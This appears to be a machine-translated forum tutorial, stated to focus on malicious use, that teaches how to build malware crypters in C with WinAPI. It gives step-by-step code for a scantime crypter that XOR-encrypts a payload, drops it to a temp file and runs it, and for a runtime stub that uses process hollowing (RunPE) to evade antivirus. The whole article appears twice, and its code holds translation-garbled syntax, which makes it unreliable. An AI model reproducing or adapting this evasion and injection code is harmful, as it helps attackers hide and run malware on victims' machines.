Eh, how I missed this material in the beginning ...
Knowledge of C / C ++
Knowledge of WinAPI and its documentation
Knowledge of basic cryptology
Knowing the structure of the PE file
Knowledge of Windows (virtual) memory
Knowledge of processes and threads.
The two sides of cryptography
When we describe cryptography, it usually includes something like "a means of hiding to prevent unwanted access to information." Most of us see it as such, as a defense mechanism with applications from secrets to even stop malicious activity. Of course, we expect this, since it was invented with the sole purpose of turning any prying eyes away from data, however, as we will see shortly, cryptography has evolved into something much more.
If we use cryptography to defend against malicious activity, we can see the potential for malicious protection, that is, develop malware that takes advantage of the benefits provided by cryptography. These types of malware are already very visible in the modern era, some popular examples include ransomware and asymmetric backdoors, which are mostly about public key cryptography.
Antivirus mechanisms
In order to be able to develop a protective measure against antivirus software, we must first identify the details that we are trying to defeat. I will briefly discuss the two main methods that antivirus software uses to detect unwanted applications.
Detection based on signatures
As the name suggests, signature-based detection is a technique that cross-references and matches application signatures against a corresponding database of known malware. It is an effective measure to prevent and contain previous malware. Think of it as a vaccine for cars.
Heuristic detection
While signature-based detection can prevent most previously known malware, it has its drawbacks because malware authors can apply a layer of protection against this approach, such as polymorphic and / or metamorphic code. Heuristic detection attempts to monitor the behavior and characteristics of an application and to reference it with known malicious behavior. Please note that this can only happen if the application is running.
Of course, antivirus software is much, much more advanced than that. As this is outside the scope of my article and I understand that I will not cover this information.
Introduction to Cryptors
For those who do not know what cryptors are, they are designed to protect information in a file (usually some kind of executable format), and when executed, they may be able to provide said information unchanged after extracting it using a decryption procedure. Note that while cryptors can be used with malicious intent, they are also popular for obfuscating data to prevent reverse engineering. In this article, we will focus on malicious use. So how does it work? Let's start by defining cryptors and looking at a graphical representation of how they work. The cryptor is responsible for encrypting the target.
+-----------+ +---------+ +----------------+ +------+
| Your file | -> | Crypter | => | Encrypted file | + | Stub |
+-----------+ +---------+ +----------------+ +------+
Stub is a sector of the encrypted object that provides extraction and, sometimes, execution of the specified object.
+----------------+ +------+ +---------------+
| Encrypted file | + | Stub | = Execution => | Original File |
+----------------+ +------+ +---------------+
Scantime Cryptors
These types of ciphers are called scantime because of their ability to hide data on disk, where, for example, antivirus software can run a file scan with signature-based detection. At this point, antivirus software will never be able to detect any malicious activity, provided the application obfuscation is reliable.
Runtime cryptors
These cryptographic devices take it to the next level by deobfuscating data at startup in memory as needed. Thus, the antivirus will allow it to be downloaded and executed before it can react to any malicious activity. It is possible that malware initiates antivirus software heuristic-based detection at runtime, so malware authors should be careful. Now that we've covered a high level, let's see an example of how both types are implemented.
Writing a Scantime Cryptor
Scantime cryptor is simpler as it does not require knowledge of virtual memory and processes / threads. Basically, a stub will deobfuscate a file by dragging it to disk somewhere and then executing it.
1. Check if there is a command line argument
+ -> 2. If there is a command line argument, act as a cryptor
| 3. Open the target file
| 4. Read the contents of the file
| 5. Encrypt the contents of the file
| 6. Create a new file
| 7. Write the ciphertext to a new file
| 8. Done
|
+ -> 2. If no command line argument, act as stub
3. Open the encrypted file
4. Read the contents of the file
5. Decrypt the contents of the file
6. Create a temporary file
7. Write the decrypted text to a temporary file
8. Execute the file
9. Done
This construct implements both a crypter and a stub in the same executable, and we can do this because the two procedures are very similar to each other. Let's take a look at the possible design of the code.
First, we will need to define the main and two conditions that determine the execution of a crypter or stub.
Code:
int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc <2) {
// stub branch
} else {
// cryptor branch
}
return EXIT_SUCCESS;
}
Since we are defining the application as a windowed application, we cannot get argcand argvas usual in a console application, but Microsoft has provided a solution for this with __argcand __argv. If the command line argument __argv[1]exists, the application will try to encrypt the specified file, otherwise it will try to decrypt the existing file encrypted with the cryptor.
Moving on to the cryptor branch, we will require a descriptor of the specified file __argv[1]and its size so that we can copy its bytes into the buffer for encryption.
Code:
int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc <2) {
// stub branch
} else {
// cryptor branch
// open the file for encryption
HANDLE hFile = CreateFile (__ argv [1], FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
// get the file size
DWORD dwFileSize = GetFileSize (hFile, NULL);
// encrypt and get encrypted bytes
LPVOID lpFileBytes = Crypt (hFile, dwFileSize);
}
return EXIT_SUCCESS;
}
The Crypt function will essentially read the contents of the file into a buffer, then glue them together, and then return a pointer to the buffer with the encrypted bytes.
Code:
LPVOID Crypt (HANDLE hFile, DWORD dwFileSize) {
// allocate memory for a buffer that will store data from the file
LPVOID lpFileBytes = malloc (dwFileSize);
// read the file into the buffer
ReadFile (hFile, lpFileBytes, dwFileSize, NULL, NULL);
// perform encryption using the XOR method
int i;
for (i = 0; i <dwFileSize; i ++) {
* ((LPBYTE) lpFileBytes + i) ^ = Key [i% sizeof (Key)];
}
return lpFileBytes;
}
Now that we have the encrypted bytes, we will need to create a new file and then write those bytes to it.
Code:
int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc <2) {
// stub branch
} else {
// cryptor branch
...
// get the name of the encrypted file
CHAR szCryptedFileName [MAX_PATH];
GetCurrentDirectory (MAX_PATH, szCryptedFileName);
strcat (szCryptedFileName, "\\");
strcat (szCryptedFileName, CRYPTED_FILE);
// open a handle to a new encrypted file
HANDLE hCryptedFile = CreateFile (szCryptedFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// write to encrypted file
WriteFile (hCryptedFile, lpFileBytes, dwFileSize, NULL, NULL);
CloseHandle (hCryptedFile);
free (lpFileBytes);
}
return EXIT_SUCCESS;
}
And that's pretty much all for the crypter section. Please note that we used simple XOR to encrypt the contents of the file, which may not be enough if we have a small key. If we want to be more secure, we can use other encryption schemes like RC4 or (x) TEA. We do not require full fledged end-to-end crypto algorithms, as the goal is to avoid signature-based detection.
Let's get on with our work. For the stub, we want to get the encrypted file in its current directory and then write the decrypted content to a temporary file for execution.
We'll start by getting the current directory, then open the file and get the size of the file.
Code:
int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc <2) {
// stub branch
// get the target - an encrypted file
CHAR szEncryptedFileName [MAX_PATH];
GetCurrentDirectory (MAX_PATH, szEncryptedFileName);
strcat (szEncryptedFileName, "\\");
strcat (szEncryptedFileName, CRYPTED_FILE);
// get file descriptor
HANDLE hFile = CreateFile (szEncryptedFileName, FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
// get the file size
DWORD dwFileSize = GetFileSize (hFile, NULL);
} else {
// cryptor branch
}
return EXIT_SUCCESS;
}
Pretty much the same as the cryptor branch. We then read the contents of the file and get the decrypted bytes. Since the XOR operation restores the values given by the common bit, we can simply reuse the Crypt function. After that, we will need to create a temporary file and write the decrypted bytes into it.
Code:
int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc <2) {
// stub branch
...
// decrypt and get decrypted bytes
LPVOID lpFileBytes = Crypt (hFile, dwFileSize);
CloseHandle (hFile);
// get file in temp directory
CHAR szTempFileName [MAX_PATH];
GetTempPath (MAX_PATH, szTempFileName);
strcat (szTempFileName, DECRYPTED_FILE);
// open a descriptor for a temporary file
HANDLE hTempFile = CreateFile (szTempFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// write to temporary file
WriteFile (hTempFile, lpFileBytes, dwFileSize, NULL, NULL);
// clear memory
CloseHandle (hTempFile);
free (lpFileBytes);
} else {
cryptor branch
}
return EXIT_SUCCESS;
}
Finally, we will need to execute the decrypted application.
Code:
int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc <2) {
// stub branch
...
// execute the file
ShellExecute (NULL, NULL, szTempFileName, NULL, NULL, 0);
} else {
// cryptor branch
}
return EXIT_SUCCESS;
}
Please note that once a decrypted application is written to disk, it will be susceptible to detection based on antivirus software signatures and will likely be detected by most antivirus software. Because of this, malware authors require something that will allow their applications to run without this flaw.
This ends the scantime crypter.
Writing a Runtime Cryptor
To save runtime, I will only cover the stub as it involves more complex stuff, so we will assume the application is already encrypted. A popular technique these cryptors use is called RunPE or Dynamic Forking / Process Hollowing. How it works, stub will first decrypt the encrypted bytes of the application and then emulate the Windows bootloader by unloading them into the virtual memory space of the suspended process. Once this is complete, the stub will resume the suspended process and finish.
1. Decrypt application
2. Create a suspended process
3. Save the context of the process flow
4. Empty the process virtual space
5. Allocate virtual memory
6. Write the title and sections of the application to the allocated memory
7. Set modified stream context
8. Continue the process
9. Done
As we can see, this requires quite a bit of knowledge about the internals of Windows, including PE file structure, Windows memory manipulation, and processes / threads. I highly recommend the reader to study these basics in order to understand the following material.
First, let's set up two routines, one to decrypt the encrypted application, and the other to load it into memory for execution.
Code:
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
Decrypt();
RunPE();
return EXIT_SUCCESS;
}
The function Decryptwill completely depend on the encryption scheme used to encrypt the application, but here is a sample code using XOR.
Code:
VOID Decrypt(VOID) {
int i;
for (i = 0; i < sizeof(Shellcode); i++) {
Shellcode ^= Key[i % sizeof(Key)];
}
}
Now that the app has been decrypted, let's see where the magic happens. Here we will check if the application is a valid PE file by checking the DOS and PE signatures.
Code:
VOID RunPE (VOID) {
// check DOS signature
PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER) Shellcode;
if (pidh-> e_magic! = IMAGE_DOS_SIGNATURE) return;
// check the PE signature
PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS) ((DWORD) Shellcode + pidh-> e_lfanew);
if (pinh-> Signature! = IMAGE_NT_SIGNATURE) return;
}
We will now create a suspended process.
Code:
VOID RunPE (VOID) {
...
// get the file name
CHAR szFileName [MAX_PATH];
GetModuleFileName (NULL, szFileName, MAX_PATH);
// initialize startup and process information
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory (& si, sizeof (si));
ZeroMemory (.pi, sizeof (pi));
// need to set si.cb size before use
si.cb = sizeof (si);
// create a suspended process
CreateProcess (szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, & si, & pi);
}
VOID RunPE (VOID) {
...
// get the thread context
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext (pi.Thread, & ctx);
}
And now let's free up the virtual memory area of the process so that we can allocate our own space for the application. To do this, we need a function that is not available to us, so we need a function pointer for the dynamically retrieved function from the DLL ntdll.dll.
Code:
typedef NTSTATUS (* fZwUnmapViewOfSection) (HANDLE, PVOID);
VOID RunPE (VOID) {
...
// dynamically retrieves the ZwUnmapViewOfSection function from the ntdll.dll file
fZwUnmapViewOfSection pZwUnmapViewOfSection = (fZwUnmapViewOfSection) GetProcAddress (GetModuleHandle ("ntdll.dll"), "ZwUnmapViewOfSection");
// hollow process at virtual memory address 'pinh-> OptionalHeader.ImageBase'
pZwUnMapViewOfSection (pi.hProcess, (PVOID) pinh-> OptionalHeader.ImageBase);
// allocate virtual memory at 'pinh-> OptionalHeader.ImageBase' of size `pinh-> OptionalHeader.SizeofImage` with RWX permissions
LPVOID lpBaseAddress = VirtualAllocEx (pi.hProcess, (LPVOID) pinh-> OptionalHeader.ImageBase, pinh-> OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
}
Since the suspended process has its own content inside its virtual memory space, we must remove it from memory and then allocate it for ourselves so that we have the correct access and permissions to load the image of our application. We will do this using the WriteProcessMemory function. First, we need to write the headers and then each section separately, like the Windows bootloader. This section requires a deep understanding of the structure of the PE file.
Code:
VOID RunPE (VOID) {
...
// write the title
WriteProcessMemory (pi.hProcess, (LPVOID) pinh-> OptionalHeader.ImageBase, Shellcode, pinh-> OptionalHeader.SizeOfHeaders, NULL);
// write each section
int i;
for (i = 0; i <pinh-> FileHeader.NumberOfSections; i ++) {
// calculate and get the i-th section
PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER) ((DWORD) Shellcode + pidh-> e_lfanew + sizeof (IMAGE_NT_HEADERS) + sizeof (IMAGE_SECTION_HEADER) * i);
// write section data
WriteProcessMemory (pi.hProcess, (LPVOID) (lpBaseAddress + pish-> VirtualAddress), (LPVOID) ((DWORD) Shellcode + pish-> PointerToRawData), pish-> SizeOfRawData, NULL);
}
}
Now that everything is in place, we will simply change the entry point context address and then resume the suspended thread.
Code:
VOID RunPE (VOID) {
...
// set the corresponding entry point address
ctx.Eax = pinh-> OptionalHeader.ImageBase + pinh-> OptionalHeader.AddressOfEntryPoint;
SetThreadContext (pi.hThread, & ctx);
// restore and execute our application
ResumeThread (pi.hThread);
}
The app is now running in memory and hopefully the antivirus software won't detect it.
Conclusion
Hopefully at least the high level and some of the low level concepts have been reasonably well informed to the reader. If some things are still completely incomprehensible, I would highly recommend introspection on the topics listed at the beginning of this article. If some small things are a little unclear, feel free to ask. It was not aimed at an entry-level audience.
Required:Small exception: some of the materials may not be suitable for beginners because they require a fair amount of knowledge about the internals of Windows.
Knowledge of C / C ++
Knowledge of WinAPI and its documentation
Knowledge of basic cryptology
Knowing the structure of the PE file
Knowledge of Windows (virtual) memory
Knowledge of processes and threads.
The two sides of cryptography
When we describe cryptography, it usually includes something like "a means of hiding to prevent unwanted access to information." Most of us see it as such, as a defense mechanism with applications from secrets to even stop malicious activity. Of course, we expect this, since it was invented with the sole purpose of turning any prying eyes away from data, however, as we will see shortly, cryptography has evolved into something much more.
If we use cryptography to defend against malicious activity, we can see the potential for malicious protection, that is, develop malware that takes advantage of the benefits provided by cryptography. These types of malware are already very visible in the modern era, some popular examples include ransomware and asymmetric backdoors, which are mostly about public key cryptography.
Antivirus mechanisms
In order to be able to develop a protective measure against antivirus software, we must first identify the details that we are trying to defeat. I will briefly discuss the two main methods that antivirus software uses to detect unwanted applications.
Detection based on signatures
As the name suggests, signature-based detection is a technique that cross-references and matches application signatures against a corresponding database of known malware. It is an effective measure to prevent and contain previous malware. Think of it as a vaccine for cars.
Heuristic detection
While signature-based detection can prevent most previously known malware, it has its drawbacks because malware authors can apply a layer of protection against this approach, such as polymorphic and / or metamorphic code. Heuristic detection attempts to monitor the behavior and characteristics of an application and to reference it with known malicious behavior. Please note that this can only happen if the application is running.
Of course, antivirus software is much, much more advanced than that. As this is outside the scope of my article and I understand that I will not cover this information.
Introduction to Cryptors
For those who do not know what cryptors are, they are designed to protect information in a file (usually some kind of executable format), and when executed, they may be able to provide said information unchanged after extracting it using a decryption procedure. Note that while cryptors can be used with malicious intent, they are also popular for obfuscating data to prevent reverse engineering. In this article, we will focus on malicious use. So how does it work? Let's start by defining cryptors and looking at a graphical representation of how they work. The cryptor is responsible for encrypting the target.
+-----------+ +---------+ +----------------+ +------+
| Your file | -> | Crypter | => | Encrypted file | + | Stub |
+-----------+ +---------+ +----------------+ +------+
Stub is a sector of the encrypted object that provides extraction and, sometimes, execution of the specified object.
+----------------+ +------+ +---------------+
| Encrypted file | + | Stub | = Execution => | Original File |
+----------------+ +------+ +---------------+
Scantime Cryptors
These types of ciphers are called scantime because of their ability to hide data on disk, where, for example, antivirus software can run a file scan with signature-based detection. At this point, antivirus software will never be able to detect any malicious activity, provided the application obfuscation is reliable.
Runtime cryptors
These cryptographic devices take it to the next level by deobfuscating data at startup in memory as needed. Thus, the antivirus will allow it to be downloaded and executed before it can react to any malicious activity. It is possible that malware initiates antivirus software heuristic-based detection at runtime, so malware authors should be careful. Now that we've covered a high level, let's see an example of how both types are implemented.
Writing a Scantime Cryptor
Scantime cryptor is simpler as it does not require knowledge of virtual memory and processes / threads. Basically, a stub will deobfuscate a file by dragging it to disk somewhere and then executing it.
Cryptor and stub pseudocodeNote. For the sake of cleanliness and readability, I will not include error checking.
1. Check if there is a command line argument
+ -> 2. If there is a command line argument, act as a cryptor
| 3. Open the target file
| 4. Read the contents of the file
| 5. Encrypt the contents of the file
| 6. Create a new file
| 7. Write the ciphertext to a new file
| 8. Done
|
+ -> 2. If no command line argument, act as stub
3. Open the encrypted file
4. Read the contents of the file
5. Decrypt the contents of the file
6. Create a temporary file
7. Write the decrypted text to a temporary file
8. Execute the file
9. Done
This construct implements both a crypter and a stub in the same executable, and we can do this because the two procedures are very similar to each other. Let's take a look at the possible design of the code.
First, we will need to define the main and two conditions that determine the execution of a crypter or stub.
Code:
int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc <2) {
// stub branch
} else {
// cryptor branch
}
return EXIT_SUCCESS;
}
Since we are defining the application as a windowed application, we cannot get argcand argvas usual in a console application, but Microsoft has provided a solution for this with __argcand __argv. If the command line argument __argv[1]exists, the application will try to encrypt the specified file, otherwise it will try to decrypt the existing file encrypted with the cryptor.
Moving on to the cryptor branch, we will require a descriptor of the specified file __argv[1]and its size so that we can copy its bytes into the buffer for encryption.
Code:
int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc <2) {
// stub branch
} else {
// cryptor branch
// open the file for encryption
HANDLE hFile = CreateFile (__ argv [1], FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
// get the file size
DWORD dwFileSize = GetFileSize (hFile, NULL);
// encrypt and get encrypted bytes
LPVOID lpFileBytes = Crypt (hFile, dwFileSize);
}
return EXIT_SUCCESS;
}
The Crypt function will essentially read the contents of the file into a buffer, then glue them together, and then return a pointer to the buffer with the encrypted bytes.
Code:
LPVOID Crypt (HANDLE hFile, DWORD dwFileSize) {
// allocate memory for a buffer that will store data from the file
LPVOID lpFileBytes = malloc (dwFileSize);
// read the file into the buffer
ReadFile (hFile, lpFileBytes, dwFileSize, NULL, NULL);
// perform encryption using the XOR method
int i;
for (i = 0; i <dwFileSize; i ++) {
* ((LPBYTE) lpFileBytes + i) ^ = Key [i% sizeof (Key)];
}
return lpFileBytes;
}
Now that we have the encrypted bytes, we will need to create a new file and then write those bytes to it.
Code:
int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc <2) {
// stub branch
} else {
// cryptor branch
...
// get the name of the encrypted file
CHAR szCryptedFileName [MAX_PATH];
GetCurrentDirectory (MAX_PATH, szCryptedFileName);
strcat (szCryptedFileName, "\\");
strcat (szCryptedFileName, CRYPTED_FILE);
// open a handle to a new encrypted file
HANDLE hCryptedFile = CreateFile (szCryptedFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// write to encrypted file
WriteFile (hCryptedFile, lpFileBytes, dwFileSize, NULL, NULL);
CloseHandle (hCryptedFile);
free (lpFileBytes);
}
return EXIT_SUCCESS;
}
And that's pretty much all for the crypter section. Please note that we used simple XOR to encrypt the contents of the file, which may not be enough if we have a small key. If we want to be more secure, we can use other encryption schemes like RC4 or (x) TEA. We do not require full fledged end-to-end crypto algorithms, as the goal is to avoid signature-based detection.
Let's get on with our work. For the stub, we want to get the encrypted file in its current directory and then write the decrypted content to a temporary file for execution.
We'll start by getting the current directory, then open the file and get the size of the file.
Code:
int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc <2) {
// stub branch
// get the target - an encrypted file
CHAR szEncryptedFileName [MAX_PATH];
GetCurrentDirectory (MAX_PATH, szEncryptedFileName);
strcat (szEncryptedFileName, "\\");
strcat (szEncryptedFileName, CRYPTED_FILE);
// get file descriptor
HANDLE hFile = CreateFile (szEncryptedFileName, FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
// get the file size
DWORD dwFileSize = GetFileSize (hFile, NULL);
} else {
// cryptor branch
}
return EXIT_SUCCESS;
}
Pretty much the same as the cryptor branch. We then read the contents of the file and get the decrypted bytes. Since the XOR operation restores the values given by the common bit, we can simply reuse the Crypt function. After that, we will need to create a temporary file and write the decrypted bytes into it.
Code:
int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc <2) {
// stub branch
...
// decrypt and get decrypted bytes
LPVOID lpFileBytes = Crypt (hFile, dwFileSize);
CloseHandle (hFile);
// get file in temp directory
CHAR szTempFileName [MAX_PATH];
GetTempPath (MAX_PATH, szTempFileName);
strcat (szTempFileName, DECRYPTED_FILE);
// open a descriptor for a temporary file
HANDLE hTempFile = CreateFile (szTempFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// write to temporary file
WriteFile (hTempFile, lpFileBytes, dwFileSize, NULL, NULL);
// clear memory
CloseHandle (hTempFile);
free (lpFileBytes);
} else {
cryptor branch
}
return EXIT_SUCCESS;
}
Finally, we will need to execute the decrypted application.
Code:
int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc <2) {
// stub branch
...
// execute the file
ShellExecute (NULL, NULL, szTempFileName, NULL, NULL, 0);
} else {
// cryptor branch
}
return EXIT_SUCCESS;
}
Please note that once a decrypted application is written to disk, it will be susceptible to detection based on antivirus software signatures and will likely be detected by most antivirus software. Because of this, malware authors require something that will allow their applications to run without this flaw.
This ends the scantime crypter.
Writing a Runtime Cryptor
To save runtime, I will only cover the stub as it involves more complex stuff, so we will assume the application is already encrypted. A popular technique these cryptors use is called RunPE or Dynamic Forking / Process Hollowing. How it works, stub will first decrypt the encrypted bytes of the application and then emulate the Windows bootloader by unloading them into the virtual memory space of the suspended process. Once this is complete, the stub will resume the suspended process and finish.
Stub pseudocodeNote. For the sake of cleanliness and readability, I will not include error checking.
1. Decrypt application
2. Create a suspended process
3. Save the context of the process flow
4. Empty the process virtual space
5. Allocate virtual memory
6. Write the title and sections of the application to the allocated memory
7. Set modified stream context
8. Continue the process
9. Done
As we can see, this requires quite a bit of knowledge about the internals of Windows, including PE file structure, Windows memory manipulation, and processes / threads. I highly recommend the reader to study these basics in order to understand the following material.
First, let's set up two routines, one to decrypt the encrypted application, and the other to load it into memory for execution.
Code:
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
Decrypt();
RunPE();
return EXIT_SUCCESS;
}
The function Decryptwill completely depend on the encryption scheme used to encrypt the application, but here is a sample code using XOR.
Code:
VOID Decrypt(VOID) {
int i;
for (i = 0; i < sizeof(Shellcode); i++) {
Shellcode ^= Key[i % sizeof(Key)];
}
}
Now that the app has been decrypted, let's see where the magic happens. Here we will check if the application is a valid PE file by checking the DOS and PE signatures.
Code:
VOID RunPE (VOID) {
// check DOS signature
PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER) Shellcode;
if (pidh-> e_magic! = IMAGE_DOS_SIGNATURE) return;
// check the PE signature
PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS) ((DWORD) Shellcode + pidh-> e_lfanew);
if (pinh-> Signature! = IMAGE_NT_SIGNATURE) return;
}
We will now create a suspended process.
Code:
VOID RunPE (VOID) {
...
// get the file name
CHAR szFileName [MAX_PATH];
GetModuleFileName (NULL, szFileName, MAX_PATH);
// initialize startup and process information
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory (& si, sizeof (si));
ZeroMemory (.pi, sizeof (pi));
// need to set si.cb size before use
si.cb = sizeof (si);
// create a suspended process
CreateProcess (szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, & si, & pi);
}
Code:Please note: szFileName can be the full path to any executable file, for example explorer.exe or iexplore.exe, but in this example we will use a stub file. The CreateProcess function will create the child process of the specified file in a suspended state so that we can modify its virtual memory content according to our needs. Once this is done, we need to get the thread context before we can change anything.
VOID RunPE (VOID) {
...
// get the thread context
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext (pi.Thread, & ctx);
}
And now let's free up the virtual memory area of the process so that we can allocate our own space for the application. To do this, we need a function that is not available to us, so we need a function pointer for the dynamically retrieved function from the DLL ntdll.dll.
Code:
typedef NTSTATUS (* fZwUnmapViewOfSection) (HANDLE, PVOID);
VOID RunPE (VOID) {
...
// dynamically retrieves the ZwUnmapViewOfSection function from the ntdll.dll file
fZwUnmapViewOfSection pZwUnmapViewOfSection = (fZwUnmapViewOfSection) GetProcAddress (GetModuleHandle ("ntdll.dll"), "ZwUnmapViewOfSection");
// hollow process at virtual memory address 'pinh-> OptionalHeader.ImageBase'
pZwUnMapViewOfSection (pi.hProcess, (PVOID) pinh-> OptionalHeader.ImageBase);
// allocate virtual memory at 'pinh-> OptionalHeader.ImageBase' of size `pinh-> OptionalHeader.SizeofImage` with RWX permissions
LPVOID lpBaseAddress = VirtualAllocEx (pi.hProcess, (LPVOID) pinh-> OptionalHeader.ImageBase, pinh-> OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
}
Since the suspended process has its own content inside its virtual memory space, we must remove it from memory and then allocate it for ourselves so that we have the correct access and permissions to load the image of our application. We will do this using the WriteProcessMemory function. First, we need to write the headers and then each section separately, like the Windows bootloader. This section requires a deep understanding of the structure of the PE file.
Code:
VOID RunPE (VOID) {
...
// write the title
WriteProcessMemory (pi.hProcess, (LPVOID) pinh-> OptionalHeader.ImageBase, Shellcode, pinh-> OptionalHeader.SizeOfHeaders, NULL);
// write each section
int i;
for (i = 0; i <pinh-> FileHeader.NumberOfSections; i ++) {
// calculate and get the i-th section
PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER) ((DWORD) Shellcode + pidh-> e_lfanew + sizeof (IMAGE_NT_HEADERS) + sizeof (IMAGE_SECTION_HEADER) * i);
// write section data
WriteProcessMemory (pi.hProcess, (LPVOID) (lpBaseAddress + pish-> VirtualAddress), (LPVOID) ((DWORD) Shellcode + pish-> PointerToRawData), pish-> SizeOfRawData, NULL);
}
}
Now that everything is in place, we will simply change the entry point context address and then resume the suspended thread.
Code:
VOID RunPE (VOID) {
...
// set the corresponding entry point address
ctx.Eax = pinh-> OptionalHeader.ImageBase + pinh-> OptionalHeader.AddressOfEntryPoint;
SetThreadContext (pi.hThread, & ctx);
// restore and execute our application
ResumeThread (pi.hThread);
}
The app is now running in memory and hopefully the antivirus software won't detect it.
Conclusion
Hopefully at least the high level and some of the low level concepts have been reasonably well informed to the reader. If some things are still completely incomprehensible, I would highly recommend introspection on the topics listed at the beginning of this article. If some small things are a little unclear, feel free to ask. It was not aimed at an entry-level audience.